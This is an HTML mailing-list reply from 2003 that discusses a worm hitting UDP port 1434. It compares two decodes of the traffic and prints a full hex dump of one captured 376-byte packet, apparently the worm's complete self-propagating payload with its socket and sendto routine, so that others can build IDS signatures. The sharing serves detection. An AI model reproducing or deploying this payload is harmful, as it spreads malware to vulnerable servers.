<html>
At 12:45 AM 1/25/2003, you wrote:<br><br>
<blockquote type=cite class=cite cite>01:42:04.040462 194.87.13.21.1812
> x.x.x.x.1434: rad-account-req<br>
376 [id 1] Attr[ User User User User User User User User User User
User<br>
User User User User User User User User User User User User User User
User<br>
User User User User User User User [|radius]<br><br>
That is the traffic...<br>
</blockquote><br><br>
Either I'm seeing something different, or you're decoding the packets
differently... Or there are two worms? In any case, this is what we're
seeing:<br><br>
<font face="Courier New, Courier">03:00:16.926474 64.57.XXX.XXX.2821 >
XX.XXX.XXX.XXX.1434: udp 376<br>
0x0000 4500 0194 388e 0000 7211 0000 4039
XXXX E...8...r...@9..<br>
0x0010 XXXX XXXX 0b05 059a 0180 6190 0401
0101 ..........a.....<br>
0x0020 0101 0101 0101 0101 0101 0101 0101
0101 ................<br>
0x0030 0101 0101 0101 0101 0101 0101 0101
0101 ................<br>
0x0040 0101 0101 0101 0101 0101 0101 0101
0101 ................<br>
0x0050 0101 0101 0101 0101 0101 0101 0101
0101 ................<br>
0x0060 0101 0101 0101 0101 0101 0101 0101
0101 ................<br>
0x0070 0101 0101 0101 0101 0101 0101 01dc
c9b0 ................<br>
0x0080 42eb 0e01 0101 0101 0101 70ae 4201
70ae B.........p.B.p.<br>
0x0090 4290 9090 9090 9090 9068 dcc9 b042
b801 B........h...B..<br>
0x00a0 0101 0131 c9b1 1850 e2fd 3501 0101
0550 ...1...P..5....P<br>
0x00b0 89e5 5168 2e64 6c6c 6865 6c33 3268
6b65 ..Qh.dllhel32hke<br>
0x00c0 726e 5168 6f75 6e74 6869 636b 4368
4765 rnQhounthickChGe<br>
0x00d0 7454 66b9 6c6c 5168 3332 2e64 6877
7332 tTf.llQh32.dhws2<br>
0x00e0 5f66 b965 7451 6873 6f63 6b66 b974
6f51 _f.etQhsockf.toQ<br>
0x00f0 6873 656e 64be 1810 ae42 8d45 d450
ff16 hsend....B.E.P..<br>
0x0100 508d 45e0 508d 45f0 50ff 1650 be10
10ae P.E.P.E.P..P....<br>
0x0110 428b 1e8b 033d 558b ec51 7405 be1c
10ae B....=U..Qt.....<br>
0x0120 42ff 16ff d031 c951 5150 81f1 0301
049b B....1.QQP......<br>
0x0130 81f1 0101 0101 518d 45cc 508b 45c0
50ff ......Q.E.P.E.P.<br>
0x0140 166a 116a 026a 02ff d050 8d45 c450
8b45 .j.j.j...P.E.P.E<br>
0x0150 c050 ff16 89c6 09db 81f3 3c61 d9ff
8b45 .P........<a...E<br>
0x0160 b48d 0c40 8d14 88c1 e204 01c2 c1e2
0829 ...@...........)<br>
0x0170 c28d 0490 01d8 8945 b46a 108d 45b0
5031 .......E.j..E.P1<br>
0x0180 c951 6681 f178 0151 8d45 0350 8b45
ac50 .Qf..x.Q.E.P.E.P<br>
0x0190 ffd6
ebca
....<br><br>
</font>Not saying that isn't what you saw, just letting people know what
else to expect if they're trying to setup IDS signatures....<br><br>
<br>
(sending this email in plain and HTML, to help some email clients format
that correctly - excuse the HTML for everyone else)<br><br>
<br>
</html>